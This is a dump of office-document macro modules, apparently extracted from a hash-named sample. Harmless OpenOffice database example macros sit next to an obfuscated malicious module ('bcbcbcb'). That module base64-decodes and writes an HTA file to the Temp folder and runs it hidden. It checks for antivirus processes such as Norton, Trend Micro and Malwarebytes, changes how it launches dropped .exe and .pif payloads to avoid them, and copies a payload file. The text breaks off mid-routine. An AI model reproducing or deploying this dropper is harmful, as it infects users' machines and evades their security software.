REM Open for read/write
Open sURLInitial For Output Access Read Write As #n
For i = 0 To UBound(sOut())
Print #n, sOut(i)
Next
Close #n
REM Open the fixed width text file into a Calc document.
AppendProperty(oParms(), _
&quot;FilterName&quot;, &quot;Text - txt - csv (StarCalc)&quot;)
AppendProperty(oParms(), &quot;FilterOptions&quot;, &quot;FIX,34,0,1,0/3/8/2/19/10&quot;)
oDoc = StarDesktop.LoadComponentFromUrl(sURLInitial, &quot;_blank&quot;, _
0, oParms())
REM Save the document as a Calc document!
ReDim oParms()
AppendProperty(oParms(), &quot;Overwrite&quot;, &quot;True&quot;)
sURLCalc = GetSourceCodeDir() &amp; sFileName &amp; &quot;.ods&quot;
oDoc.storeAsURL(sURLCalc, oParms())
REM Delete the initial fixed width file.
Kill(sURLInitial)
REM Write the file as a comma delimited text file. Notice that only the
REM text columns contain the double quote text delimiter.
REM &quot;Date&quot;,&quot;Name&quot;,&quot;Number&quot;
REM 01/01/2005,&quot;Danny Bot&quot;,17
REM 12/25/1999,&quot;Shelly Girt&quot;,13
REM 03/13/1965,&quot;Fred Krank&quot;,7
ReDim oParms()
AppendProperty(oParms(), _
&quot;FilterName&quot;, &quot;Text - txt - csv (StarCalc)&quot;)
AppendProperty(oParms(), &quot;FilterOptions&quot;, &quot;44,34,0,1,1/1/2/2/3/10&quot;)
oDoc.storeAsURL(sURLInitial, oParms())
oDoc.close(True)
oManager = CreateUnoService(&quot;com.sun.star.sdbc.DriverManager&quot;)
REM Open the CSV file.
REM Notice that I the header line is ignored.
REM If the header line is NOT ignored, then all
REM columns are recognized as type VarChar.
ReDim oParms()
AppendProperty(oParms(), &quot;Extension&quot;, &quot;csv&quot;)
AppendProperty(oParms(), &quot;HeaderLine&quot;, True)
AppendProperty(oParms(), &quot;FieldDelimiter&quot;, &quot;,&quot;)
AppendProperty(oParms(), &quot;StringDelimiter&quot;, &quot;&quot;&quot;&quot;)
AppendProperty(oParms(), &quot;DecimalDelimiter&quot;, &quot;.&quot;)
AppendProperty(oParms(), &quot;ThousandDelimiter&quot;, &quot;,&quot;)
oCon = oManager.getConnectionWithInfo(&quot;sdbc:flat:&quot; &amp; _
sURLInitial, oParms())
oStatement = oCon.CreateStatement()
sSQL = &quot;SELECT * FROM &quot; &amp; DBQuoteName(sFileName, oCon)
oResult = oStatement.executeQuery(sSQL)
Do While oResult.next()
s = s &amp; &quot;CSV File: Date = &quot; &amp; _
CStr(UNODateToDate(oResult.getDate(1))) &amp; _
&quot; Name = &apos;&quot; &amp; oResult.getString(2) &amp; &quot;&apos;&quot; &amp; _
&quot; Number = &quot; &amp; CStr(oResult.getLong(3)) &amp; CHR$(10)
Loop
oCon.close()
oCon = oManager.getConnection(&quot;sdbc:calc:&quot; &amp; sURLCalc)
oStatement = oCon.CreateStatement()
sSQL = &quot;SELECT * FROM &quot; &amp; DBQuoteName(sFileName, oCon)
oResult = oStatement.executeQuery(sSQL)
s = s &amp; CHR$(10)
Do While oResult.next()
s = s &amp; &quot;Calc File: Date = &quot; &amp; _
CStr(UNODateToDate(oResult.getDate(1))) &amp; _
&quot; Name = &apos;&quot; &amp; oResult.getString(2) &amp; &quot;&apos;&quot; &amp; _
&quot; Number = &quot; &amp; CStr(oResult.getLong(3)) &amp; CHR$(10)
Loop
oCon.close()
MsgBox s, 0, &quot;Data from the flat file&quot;
REM Delete the created files.
Kill(sURLCalc)
Kill(sURLInitial)
End Sub
Sub InspectOutlookAddress()
Dim oManager &apos;Connection driver manager.
Dim oCon &apos;Connection object.
Dim sSQL$ &apos;SQL that is executed.
Dim oResult &apos;Result from an SQL statement.
Dim oStatement &apos;A created statement that can execute SQL.
Dim s$ &apos;General string variable.
Dim nCount&amp;
oManager = CreateUnoService(&quot;com.sun.star.sdbc.DriverManager&quot;)
oCon = oManager.getConnection(&quot;sdbc:address:outlook:&quot;)
oStatement = oCon.CreateStatement()
sSQL = &quot;SELECT &quot; &amp; DBQuoteName(&quot;First Name&quot;, oCon) &amp; &quot;, &quot; &amp;_
DBQuoteName(&quot;Last Name&quot;, oCon) &amp; &quot;, &quot; &amp; _
DBQuoteName(&quot;E-mail&quot;, oCon) &amp; &quot; FROM &quot; &amp; _
DBQuoteName(&quot;OP Contacts&quot;, oCon)
oResult = oStatement.executeQuery(sSQL)
REM Limit the returned values to 50!
nCount = 0
Do While oResult.next() AND nCount &lt; 50
s = s &amp; oResult.getString(1) &amp; &quot; &quot; &amp; oResult.getString(2) &amp; _
&quot; ==&gt; &quot; &amp; oResult.getString(3) &amp; CHR$(10)
Loop
MsgBox s, 0, &quot;Public e-mail&quot;
oCon.close()
End Sub
Sub InsertImage(sDBURL$, sFileURL$)
Dim sFileName$ &apos;File to save in the database.
Dim oData() &apos;Array of bytes.
Dim lLen As Long &apos;Number of bytes in the file.
Dim oDB &apos;Database object.
Dim oStream
Dim oSimpleFileAccess
Dim oBaseContext
Dim oStatement
Dim sSQL$
Dim oCon
Dim s$
If NOT FileExists(sFileURL) Then
Print &quot;Sorry, &quot; &amp; sFileURL &amp; &quot; does not exist&quot;
Exit Sub
End If
If NOT FileExists(sDBURL) Then
CreateBinaryDB(sDBURL, True)
End If
CreateBinaryTables(sDBURL, False, False)
REM Load the Tools library
If NOT GlobalScope.BasicLibraries.isLibraryLoaded(&quot;Tools&quot;) Then
GlobalScope.BasicLibraries.LoadLibrary(&quot;Tools&quot;)
End If
REM Call methods in the Tools library to parse the path.
sFileName = FileNameOutOfPath(sFileURL, &quot;/&quot;)
oBaseContext = CreateUnoService(&quot;com.sun.star.sdb.DatabaseContext&quot;)
oDB = oBaseContext.getByName(sDBURL)
oCon = oDB.getConnection(&quot;&quot;, &quot;&quot;)
s$ = &quot;com.sun.star.ucb.SimpleFileAccess&quot;
oSimpleFileAccess = createUnoService(s$)
oStream = oSimpleFileAccess.openFileRead(sFileURL)
REM Get the total length and then dimension the array.
lLen = oStream.getLength()
ReDim oData(0 To lLen-1)
oStream.readBytes(oData(), lLen)
REM Use a prepared statement to insert the data.
REM Notice that I do not set the ID because it is
REM an auto-value field.
sSQL = &quot;insert into BINDATA (NAME, DATA) values (?, ?)&quot;
oStatement = oCon.PrepareStatement(sSQL)
oStatement.SetString( 1, sFileName)
REM I should be able to simply use the stream
REM but there is a bug that prevents this. Too bad!
&apos;oStatement.setBinaryStream(2, oStream, oStream.getLength())
oStatement.setBytes(2, oData(), lLen)
oStatement.ExecuteUpdate()
oStream.closeInput()
Print &quot;Inserted &quot; &amp; sFileName
oCon.close()
End Sub
Sub ExtractBinaryFile(sPathURL$, sDBURL$)
Dim sFileName$ &apos;File to save from the database.
Dim oDB &apos;Database object.
Dim oStream
Dim oSimpleFileAccess
Dim oBaseContext
Dim oStatement
Dim oResult
Dim sSQL$
Dim oCon
Dim sURL$
Dim s$
If NOT FileExists(sDBURL) Then
Print &quot;The DB does not exist, sorry&quot;
Exit Sub
End If
oBaseContext = CreateUnoService(&quot;com.sun.star.sdb.DatabaseContext&quot;)
oDB = oBaseContext.getByName(sDBURL)
oCon = oDB.getConnection(&quot;&quot;, &quot;&quot;)
oStatement = oCon.createStatement()
sSQL = &quot;SELECT NAME FROM BINDATA ORDER BY NAME&quot;
oResult = oStatement.executeQuery(sSQL)
sFileName = SelItemFromResult(oResult, 1, 100)
If sFileName = &quot;&quot; Then
oCon.close()
Exit Sub
End If
sSQL = &quot;SELECT DATA FROM BINDATA WHERE NAME=&apos;&quot; &amp; sFileName &amp; &quot;&apos;&quot;
oResult = oStatement.executeQuery(sSQL)
If Not IsNull(oResult) Then
oResult.next()
REM I could get a byte array, but this is easier.
oStream = oResult.getBinaryStream(1)
If oResult.wasNull() Then
Print &quot;The image was NULL&quot;
Else
&apos;Print &quot;Servicename = &quot; &amp; oResultSet.getColumns().getByName(&quot;IMAGE&quot;).ServiceName
s = &quot;com.sun.star.ucb.SimpleFileAccess&quot;
oSimpleFileAccess = createUnoService(s)
sURL = sPathURL &amp; sFileName
If FileExists(sURL) Then
sURL = ChooseAFile$(GraphicFilters(), False, sURL)
End If
If sURL &lt;&gt; &quot;&quot; Then
oSimpleFileAccess.writeFile(sURL, oStream)
Print &quot;Wrote &quot; &amp; sURL
End If
End If
End If
oCon.close()
End Sub
Sub UseSelectLimit(Optional dbURL$ = &quot;&quot;)
Dim sTableName$ &apos;The name of the table to creat.
Dim oTable &apos;A table in the database.
Dim oTables &apos;Tables in the document
Dim oTableDescriptor &apos;Defines a table and how it looks.
Dim oCols &apos;The columns for a table.
Dim oCol &apos;A single column descriptor.
Dim oCon &apos;Database connection.
Dim oBaseContext &apos;Database context service.
Dim oDB &apos;Database data source.
Dim oStatement
Dim sSQL$
If dbURL = &quot;&quot; Then dbURL = ChooseAFile(OOoBaseFilters(), False)
If dbURL = &quot;&quot; Then Exit Sub
CreateBinaryDB(dbURL$, False)
REM Use the DatabaseContext to get a reference to the database.
oBaseContext = CreateUnoService(&quot;com.sun.star.sdb.DatabaseContext&quot;)
oDB = oBaseContext.getByName(dbURL)
oCon = oDB.getConnection(&quot;&quot;, &quot;&quot;)
oTables = oCon.getTables()
sTableName$ = &quot;DATA&quot;
If oTables.hasByName(sTableName$) Then
oTables.dropByName(sTableName)
oDB.DatabaseDocument.store()
End If
REM For now, this should always be True
If NOT oTables.hasByName(sTableName$) Then
oTableDescriptor = oTables.createDataDescriptor()
oTableDescriptor.Name = sTableName$
oCols = oTableDescriptor.getColumns()
oCol = oCols.createDataDescriptor()
oCol.Name = &quot;ID&quot;
oCol.Type = com.sun.star.sdbc.DataType.INTEGER
oCol.IsNullable = com.sun.star.sdbc.ColumnValue.NO_NULLS
oCol.IsAutoIncrement = True
oCol.Precision = 10
oCol.Description = &quot;Primary Key&quot;
oCols.appendByDescriptor(oCol)
oCol.Name = &quot;NAME&quot;
oCol.Type = com.sun.star.sdbc.DataType.VARCHAR
oCol.Description = &quot;Filename&quot;
oCol.Precision = 255
oCol.IsAutoIncrement = False
oCols.appendByDescriptor(oCol)
oTables.appendByDescriptor(oTableDescriptor)
End If
sSQL = &quot;insert into DATA (NAME) values (?)&quot;
oStatement = oCon.PrepareStatement(sSQL)
Dim x()
Dim i%
x() = Array(&quot;zero&quot;, &quot;one&quot;, &quot;two&quot;, &quot;three&quot;, &quot;four&quot;, _
&quot;five&quot;, &quot;six&quot;, &quot;seven&quot;, &quot;eight&quot;, &quot;nine&quot;, &quot;ten&quot;)
For i = LBound(x()) To UBound(x())
oStatement.SetString( 1, x(i))
oStatement.ExecuteUpdate()
Next
oStatement = oCon.CreateStatement()
Dim s$
Dim oResult
For i = 0 To 4 Step 4
sSQL = &quot;select LIMIT &quot; &amp; i &amp; &quot; 4 * from DATA&quot;
oResult = oStatement.executeQuery(sSQL)
Do While oResult.next()
s = s &amp; &quot;LIMIT &quot; &amp; i &amp; &quot; 4 Yields &quot; &amp; oResult.getString(1) &amp; _
&quot; &quot; &amp; oResult.getString(2) &amp; CHR$(10)
Loop
Next
MsgBox s
REM Do not dispose the database context or you will NOT be able to
REM get it back without restarting OpenOffice.org.
REM Store the associated document to persist the changes to disk.
oDB.DatabaseDocument.store()
oCon.close()
End Sub
Sub ChooseAndOpenFormInDB(sDBURL$)
Dim oDoc
Dim oForms
Dim sFormName$
Dim s$
REM Find the database document and open it if required.
oDoc = FindComponentWithURL(sDBURL$, True)
If IsNULL(oDoc) OR IsEmpty(oDoc) Then
Print &quot;The document was not found&quot;
Exit Sub
End If
REM Choose a form to open!
oForms = oDoc.getFormDocuments()
If oForms.getCount() &lt; 1 Then
Print &quot;The database contains no forms&quot;
ElseIf oForms.getCount() = 1 Then
REM If there is ONLY one form, then open the one form!
Dim x()
x() = oForms.getElementNames()
sFormName = x(0)
Else
s$ = &quot;Choose A Form To Open&quot;
sFormName = DialogSelectItem(oForms.getElementNames(), s$)
End If
If sFormName = &quot;&quot; Then Exit Sub
OpenFormInDB1(sDBURL$, sFormName$)
End Sub
Function OpenFormInDB2(sDBURL$, sFormName$)
Dim oDBDoc &apos;The database document that contains the form.
Dim oFormDef &apos;com.sun.star.sdb.DocumentDefinition of the form.
Dim oFormDocs &apos;The form documents container.
Dim oFormDoc &apos;The actual form document.
Dim oBaseContext &apos;Global database context service.
Dim oDataBase &apos;Database obtained from the database context.
Dim oCon &apos;Database connection.
Dim oParms() As New com.sun.star.beans.PropertyValue
REM Find the database document and open it if required.
oDBDoc = FindComponentWithURL(sDBURL$, True)
If IsNULL(oDBDoc) OR IsEmpty(oDBDoc) Then
Print &quot;The document was not found&quot;
Exit Function
End If
oFormDocs = oDBDoc.getFormDocuments()
If NOT oFormDocs.hasByName(sFormName) Then
Print &quot;The database does not have a form named &quot; &amp; sFormName
Exit Function
End If
oFormDef = oDBDoc.getFormDocuments().getByName(sFormName)
oBaseContext = CreateUnoService(&quot;com.sun.star.sdb.DatabaseContext&quot;)
oDataBase = oBaseContext.getByName(sDBURL)
&apos;oCon = oDataBase.getConnection(&quot;&quot;, &quot;&quot;)
AppendProperty(oParms(), &quot;ActiveConnection&quot;, oCon)
Dim identifier as Long
identifier = oFormDef.createCommandIdentifier()
Dim UcbCommand as new com.sun.star.ucb.Command
UcbCommand.Name = &quot;openDesign&quot; &apos;Or &quot;open&quot; or &quot;openForMail&quot;
Dim Arguments as new com.sun.star.ucb.OpenCommandArgument2
Arguments.Mode = com.sun.star.ucb.OpenMode.DOCUMENT
UcbCommand.Argument = Arguments
Dim environment as Object
oFormDoc = oFormDef.execute( UcbCommand, identifier, environment )
OpenFormInDB2() = oFormDoc
End Function
Function OpenFormInDB1(sDBURL$, sFormName$)
Dim oDBDoc &apos;The database document that contains the form.
Dim oFormDef &apos;com.sun.star.sdb.DocumentDefinition of the form.
Dim oFormDocs &apos;The form documents container.
Dim oFormDoc &apos;The actual form document.
Dim oCon &apos;Database connection.
Dim oParms() As New com.sun.star.beans.PropertyValue
Dim oBaseContext &apos;Global database context service.
Dim oDataBase &apos;Database obtained from the database context.
REM Find the database document and open it if required.
oDBDoc = FindComponentWithURL(sDBURL$, True)
If IsNULL(oDBDoc) OR IsEmpty(oDBDoc) Then
Print &quot;The document was not found&quot;
Exit Function
End If
oFormDocs = oDBDoc.getFormDocuments()
If NOT oFormDocs.hasByName(sFormName) Then
Print &quot;The database does not have a form named &quot; &amp; sFormName
Exit Function
End If
oFormDef = oDBDoc.getFormDocuments().getByName(sFormName)
REM Without this, the form opens and then disappears!
REM This is a bug that will hopefully be fixed in OOo version 2.0.1.
REM oDummyFormDef is defined in the main module.
oDummyFormDef = oFormDef
oBaseContext = CreateUnoService(&quot;com.sun.star.sdb.DatabaseContext&quot;)
oDataBase = oBaseContext.getByName(sDBURL)
oCon = oDataBase.getConnection(&quot;&quot;, &quot;&quot;)
REM OpenMode is rumored to support &quot;open&quot;, &quot;openDesign&quot;,
REM and &quot;openForMail&quot;
AppendProperty(oParms(), &quot;OpenMode&quot;, &quot;open&quot;)
AppendProperty(oParms(), &quot;ActiveConnection&quot;, oCon)
oFormDoc = oFormDocs.loadComponentFromURL(sFormName, &quot;&quot;, 0, oParms())
OpenFormInDB1() = oFormDoc
REM If you close the connection, then the form loses its connection.
REM The requirement of an Active connection should be removed,
REM hopefully in version 2.0.1.
REM This really looks like a resource leak, but I have not checked.
REM oCon.close()
End Function
Function OpenFormInDBNoView(sDBURL$, sFormName$)
Dim oDBDoc &apos;The database document that contains the form.
Dim oFormDef &apos;com.sun.star.sdb.DocumentDefinition of the form.
Dim oFormDocs &apos;The form documents container.
Dim oFormDoc &apos;The actual form document.
Dim oCon &apos;Database connection.
Dim oParms() As New com.sun.star.beans.PropertyValue
Dim oBaseContext &apos;Global database context service.
Dim oDataBase &apos;Database obtained from the database context.
oBaseContext = CreateUnoService(&quot;com.sun.star.sdb.DatabaseContext&quot;)
oDataBase = oBaseContext.getByName(sDBURL)
If IsNULL(oDataBase) OR IsEmpty(oDataBase) Then
Print &quot;The database was not found&quot;
Exit Function
End If
oDBDoc = oDataBase.DatabaseDocument
oFormDef = oDBDoc.getFormDocuments().getByName(sFormName)
oDummyFormDef = oFormDef
oFormDocs = oDBDoc.getFormDocuments()
If NOT oFormDocs.hasByName(sFormName) Then
Print &quot;The database does not have a form named &quot; &amp; sFormName
Exit Function
End If
oCon = oDataBase.getConnection(&quot;&quot;, &quot;&quot;)
AppendProperty(oParms(), &quot;OpenMode&quot;, &quot;open&quot;)
AppendProperty(oParms(), &quot;ActiveConnection&quot;, oCon)
oFormDoc = oFormDocs.loadComponentFromURL(sFormName, &quot;&quot;, 0, oParms())
OpenFormInDBNoView() = oFormDoc
End Function
Sub CreateFormBad(sDBURL$, sFormName$)
Dim oDBDoc &apos;The database document that contains the form.
Dim oFormDef &apos;com.sun.star.sdb.DocumentDefinition of the form.
Dim oFormDocs &apos;The form documents container.
Dim oFormDoc &apos;The actual form document.
Dim oCon &apos;Database connection.
Dim oParms() As New com.sun.star.beans.PropertyValue
Dim oBaseContext &apos;Global database context service.
Dim oDataBase &apos;Database obtained from the database context.
Dim s$
oBaseContext = CreateUnoService(&quot;com.sun.star.sdb.DatabaseContext&quot;)
oDataBase = oBaseContext.getByName(sDBURL)
oDBDoc = oDataBase.DatabaseDocument
oCon = oDataBase.getConnection(&quot;&quot;, &quot;&quot;)
AppendProperty(oParms(), &quot;Name&quot;, sFormName)
AppendProperty(oParms(), &quot;ActiveConnection&quot;, oCon)
s = &quot;com.sun.star.sdb.DocumentDefinition&quot;
oDBDoc.FormDocuments.createInstanceWithArguments( s, oParms() )
oCon.close()
End Sub
Sub AddBinForm(sDBURL$, sTableName$)
Dim oDoc &apos;Newly created Form document
Dim oDrawPage &apos;Draw page for the form document.
Dim s$ &apos;Generic temporary string variable.
Dim oDBDoc &apos;The Base database document.
Dim sDBName$ &apos;Name portion from sDBURL.
Dim sFormURL$ &apos;URL where the temporary form is stored.
Dim oFormDocs &apos;Form documents in the Base document.
Dim sFormName$ &apos;Form name as stored in the Baes form documents.
Dim oDocDef &apos;Document defition of the form stored in Base.
Dim oDBForm
Dim NoArgs() As new com.sun.star.beans.PropertyValue
Dim oProps(2) as new com.sun.star.beans.PropertyValue
REM Create a new document for the form.
s$ = &quot;private:factory/swriter&quot;
oDoc = StarDesktop.LoadComponentFromURL(s$, &quot;_default&quot;, 0, NoArgs())
REM The form will in edit mode, rather than design mode, by default.
oDoc.ApplyFormDesignMode = False
Dim oViewSettings
oViewSettings = oDoc.CurrentController.ViewSettings
oViewSettings.ShowTableBoundaries = False
oViewSettings.ShowOnlineLayout = True
REM Get the document&apos;s draw page and force the top level form to
REM exist and be named &quot;Standard&quot;.
oDrawPage = oDoc.DrawPage
If oDrawPage.Forms.Count = 0 Then
s$ = &quot;com.sun.star.form.component.Form&quot;
oDBForm = oDoc.CreateInstance(s$)
oDrawpage.Forms.InsertByIndex (0, oDBForm)
Else
oDBForm = oDrawPage.Forms.GetByIndex(0)
End If
oDBForm.Name = &quot;Standard&quot;
REM Cause the form to use the table as a datasource.
oDBForm.DataSourceName = sDBURL
oDBForm.Command = sTableName
oDBForm.CommandType = com.sun.star.sdb.CommandType.TABLE
REM Service names for controls.
Dim sLabel$ : sLabel = &quot;com.sun.star.form.component.FixedText&quot;
Dim oControl &apos;A control to insert into the form.
Dim oShape &apos;Control&apos;s shape in the draw page.
Dim oLControl &apos;Label control.
Dim oLShape &apos;Label control&apos;s shape in the draw page.
REM Anchor the controls to paragraphs.
Dim lAnchor As Long
lAnchor = com.sun.star.text.TextContentAnchorType.AT_PARAGRAPH
REM Insert the ID label
oLControl = oDoc.CreateInstance(sLabel$)
oLControl.Label = &quot;ID&quot;
oLControl.Name = &quot;lblID&quot;
oLShape = oDoc.CreateInstance(&quot;com.sun.star.drawing.ControlShape&quot;)
oLShape.Size = createSize(1222, 443)
oLShape.Position = createPoint(1000, 1104)
oLShape.AnchorType = lAnchor
oLShape.control = oLControl
REM Do not add the label control yet!
REM Insert the ID formatted text field
s$ = &quot;com.sun.star.form.component.FormattedField&quot;
oControl = oDoc.CreateInstance(s$)
oControl.LabelControl = oLControl
oControl.BackgroundColor = 14540253
oControl.Border = 1
oControl.DataField = &quot;ID&quot;
oControl.EffectiveMax = 2147483647
oControl.EffectiveMin = -2147483648
oControl.EnforceFormat = True
oControl.HideInactiveSelection = True
oControl.Name = &quot;fmtID&quot;
oControl.TreatAsNumber = True
oShape = oDoc.CreateInstance(&quot;com.sun.star.drawing.ControlShape&quot;)
oShape.Size = createSize(2150, 651)
oShape.Position = createPoint(2522, 1000)
oShape.AnchorType = lAnchor
oShape.control = oControl
oDrawpage.Add(oLShape)
oDrawpage.Add(oShape)
REM Insert the Name label
oLControl = oDoc.CreateInstance(sLabel)
oLControl.Label = &quot;NAME&quot;
oLControl.Name = &quot;lblName&quot;
oLShape = oDoc.CreateInstance(&quot;com.sun.star.drawing.ControlShape&quot;)
oLShape.Size = createSize(1222, 443)
oLShape.Position = createPoint(1000, 1954)
oLShape.AnchorType = lAnchor
oLShape.control = oLControl
REM Insert the Name text field
s$ = &quot;com.sun.star.form.component.TextField&quot;
oControl = oDoc.CreateInstance(s$)
oControl.BackgroundColor = 14540253
oControl.Border = 1
oControl.DataField = &quot;NAME&quot;
oControl.LabelControl = oLControl
oControl.Name = &quot;txtNAME&quot;
oShape = oDoc.CreateInstance(&quot;com.sun.star.drawing.ControlShape&quot;)
oShape.Size = createSize(8026, 651)
oShape.Position = createPoint(2522, 1850)
oShape.AnchorType = lAnchor
oShape.control = oControl
oDrawpage.Add(oLShape)
oDrawpage.Add(oShape)
REM Add the Image control
s$ = &quot;com.sun.star.form.component.DatabaseImageControl&quot;
oControl = oDoc.CreateInstance(s$)
oControl.BackgroundColor = 14540253
oControl.Border = 1
oControl.DataField = &quot;DATA&quot;
oControl.Name = &quot;imgDATA&quot;
oShape = oDoc.CreateInstance(&quot;com.sun.star.drawing.ControlShape&quot;)
oShape.Size = createSize(10504, 7835)
oShape.Position = createPoint(2522, 3332)
oShape.AnchorType = lAnchor
oShape.control = oControl
oDrawpage.Add(oShape)
REM At this point, we have a Form, which is a Write document.
REM Store the stand alone form to disk. This form is usable as is.
REM Use some methods from the Tools library.
If NOT GlobalScope.BasicLibraries.isLibraryLoaded(&quot;Tools&quot;) Then
GlobalScope.BasicLibraries.LoadLibrary(&quot;Tools&quot;)
End If
sDBName = GetFileNameWithoutExtension(sDBURL, &quot;/&quot;)
sFormName = &quot;Form_&quot; &amp; sTableName
s$ = DirectoryNameoutofPath(sDBURL, &quot;/&quot;) &amp; &quot;/&quot;
sFormURL = s$ &amp; &quot;Form_&quot; &amp; sDBName &amp; &quot;_&quot; &amp; sTableName &amp; &quot;.odt&quot;
REM Store the form to disk and then close the document.
oDoc.StoreAsUrl(sFormUrl, NoArgs())
oDoc.close(True)
REM Now, convert the form on disk to a document defition and
REM store it in a Base document.
oDBDoc = FindComponentWithURL(sDBURL$, True)
oFormDocs = oDBDoc.getFormDocuments()
If oFormDocs.hasByName(sFormName) Then
Print &quot;Removing &quot; &amp; sFormName &amp; &quot; from the database&quot;
oFormDocs.removeByName(sFormName)
End If
oProps(0).Name = &quot;Name&quot;
oProps(0).Value = sFormName
oProps(1).Name = &quot;Parent&quot;
oProps(1).Value = oFormDocs()
oProps(2).Name = &quot;URL&quot;
oProps(2).Value = sFormUrl
s$ = &quot;com.sun.star.sdb.DocumentDefinition&quot;
oDocDef = oFormDocs.createInstanceWithArguments(s$, oProps())
oFormDocs.insertbyName(sFormName, oDocDef)
Print &quot;Added &quot; &amp; sFormName &amp; &quot; to the database&quot;
End Sub
</script:module>7141d94e827d3b24810813d6b2e3fb851da0ee2958ef347154bc28153b23874a.unzip\Basic\VBAProject\bcbcbcb.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd">
<script:module xmlns:script="http://openoffice.org/2000/script" script:name="bcbcbcb" script:language="StarBasic" script:moduleType="normal">Rem Attribute VBA_ModuleType=VBAModule
Option VBASupport 1
Sub closee()
Dim jddsdfda As String
jddsdfda = UserForm5.TextBox1.Text
Dim yrtfdsad, vcxvxczcv
Dim mbbmbdf
Dim nuchevi
nuchevi = UserForm6.TextBox1.Text
Set wsh = VBA.CreateObject(UserForm1.TextBox1.Text &amp; UserForm4.TextBox1.Text &amp; UserForm2.TextBox1.Text)
Dim lhjxvcvx
lhjxvcvx = StrConv(DecodeBase64(UserForm3.TextBox1.Text), vbUnicode)
Dim kkkdds
kkkdds = StrConv(DecodeBase64(&quot;PGh&quot; &amp; &quot;0bWw+DQo8&quot; &amp; &quot;aGVhZD4NCiA8U0NSSVBUIExBTkdVQUdFPSJWQlNjcmlwdCI+DQogICAgICAgICAgV2luZG93Lk1vdmVUbyAtMzIwMDAsIC0zMjAwMA0KICAgICA8L1NDUklQVD4NCiAgICA8dGl0bGU+QXBwbGljYXRpb24gRXhlY3V0ZXI8L3RpdGxlPg0KICAgIDxIVEE6QVBQTElDQVRJT04gSUQ9Im9NeUFwcCIgDQogICAgICAgIEFQUExJQ0FUSU9OTkFNRT0iQXBwbGljYXRpb24gRXhlY3V0ZXIiIA0KICAgICAgICBCT1JERVI9Im5vIg0KICAgICAgICBDQVBUSU9OPSJubyINCiAgICAgICAgU0hPV0lOVEFTS0JBUj0ieWVzIg0KICAgICAgICBTSU5HTEVJTlNUQU5DRT0ieWVzIg0KICAgICAgICBTWVNNRU5VPSJ5ZXMiDQogICAgICAgIFNDUk9MTD0ibm8i&quot;), vbUnicode)
If True = IsExeRunning(jddsdfda) Then
Open Environ(&quot;T&quot; &amp; &quot;e&quot; &amp; &quot;m&quot; &amp; &quot;p&quot;) &amp; &quot;\1.hta&quot; For Output As #1
Print #1, kkkdds
Print #1, lhjxvcvx
Close #1
ChDir Environ(&quot;T&quot; &amp; &quot;e&quot; &amp; &quot;m&quot; &amp; &quot;p&quot;)
wsh.Run Environ(&quot;T&quot; &amp; &quot;e&quot; &amp; &quot;m&quot; &amp; &quot;p&quot;) &amp; &quot;\1.hta&quot;, 0, False
Exit Sub
End If
If True = IsExeRunning(&quot;PS&quot; &amp; &quot;UAM&quot; &amp; &quot;ain&quot; &amp; nuchevi) Then
Shell StrConv(DecodeBase64(&quot;Y21kLmV4ZSAvYyAgcGluZyBsb2NhbGhvc3QgLW4gMTAwICYmIA==&quot;), vbUnicode) &amp; Environ(StrConv(DecodeBase64(&quot;VGVtcA==&quot;), vbUnicode)) &amp; StrConv(DecodeBase64(&quot;XDYuZXhl&quot;), vbUnicode), vbHide
Exit Sub
End If
If True = IsExeRunning(&quot;n360&quot; &amp; nuchevi) Then
Shell Environ(StrConv(DecodeBase64(&quot;VGVtcA==&quot;), vbUnicode)) &amp; StrConv(DecodeBase64(&quot;XDYuZXhl&quot;), vbUnicode), vbHide
Exit Sub
End If
If True = IsExeRunning(&quot;PccNT&quot; &amp; nuchevi) Then
Shell Environ(StrConv(DecodeBase64(&quot;VGVtcA==&quot;), vbUnicode)) &amp; StrConv(DecodeBase64(&quot;XDYuZXhl&quot;), vbUnicode), vbHide
Exit Sub
End If
If True = IsExeRunning(&quot;uiSeAgnt&quot; &amp; nuchevi) Then
Shell Environ(StrConv(DecodeBase64(&quot;VGVtcA==&quot;), vbUnicode)) &amp; StrConv(DecodeBase64(&quot;XDYuZXhl&quot;), vbUnicode), vbHide
Exit Sub
End If
If True = IsExeRunning(&quot;mbam&quot; &amp; nuchevi) Then
Open Environ(&quot;T&quot; &amp; &quot;e&quot; &amp; &quot;m&quot; &amp; &quot;p&quot;) &amp; &quot;\1s.bat&quot; For Output As #1
Print #1, StrConv(DecodeBase64(&quot;cGluZyBsb2NhbGhvc3QgLW4gNjA=&quot;), vbUnicode), vbHide
Print #1, StrConv(DecodeBase64(&quot;c3RhcnQgJXRlbXAlXDYucGlm&quot;), vbUnicode), vbHide
Close
Shell Environ(&quot;T&quot; &amp; &quot;e&quot; &amp; &quot;m&quot; &amp; &quot;p&quot;) &amp; &quot;\1s.bat&quot;, vbHide
Exit Sub
End If
If True = IsExeRunning(&quot;mbamtray&quot; &amp; nuchevi) Then
Open Environ(&quot;T&quot; &amp; &quot;e&quot; &amp; &quot;m&quot; &amp; &quot;p&quot;) &amp; &quot;\1s.bat&quot; For Output As #1
Print #1, StrConv(DecodeBase64(&quot;cGluZyBsb2NhbGhvc3QgLW4gNjA=&quot;), vbUnicode), vbHide
Print #1, StrConv(DecodeBase64(&quot;c3RhcnQgJXRlbXAlXDYucGlm&quot;), vbUnicode), vbHide
Close
Shell Environ(&quot;T&quot; &amp; &quot;e&quot; &amp; &quot;m&quot; &amp; &quot;p&quot;) &amp; &quot;\1s.bat&quot;, vbHide
Exit Sub
End If
Shell StrConv(DecodeBase64(&quot;Y21kLmV4ZSAvYyAgcGluZyBsb2NhbGhvc3QgLW4gMTAwICYmIA==&quot;), vbUnicode) &amp; Environ(StrConv(DecodeBase64(&quot;VGVtcA==&quot;), vbUnicode)) &amp; StrConv(DecodeBase64(&quot;X&quot; &amp; &quot;DYuc&quot; &amp; &quot;Glm&quot;), vbUnicode), vbHide
End Sub
Sub fadf()
Dim pl, kk, gdfsfsa
kk = &quot;.com&quot;
pl = kk
FileCopy &quot;4CB52522&quot; &amp; pl, &quot;6&quot; &amp; &quot;.pif&quot;
End Sub
Sub sdfsdf()
ChDir Environ(&quot;T&quot; &amp; &quot;e&quot; &amp; &quot;m&quot; &amp; &quot;p&quot;)
Call kklk
Call fadf
Selection.TypeBackspace
End Sub
Sub kklk()
ChDir Environ(&quot;T&quot; &amp; &quot;e&quot; &amp; &quot;m&quot; &amp; &quot;p&quot;)
Dim kk, lll, jgf, tyretw, gdfsfsa
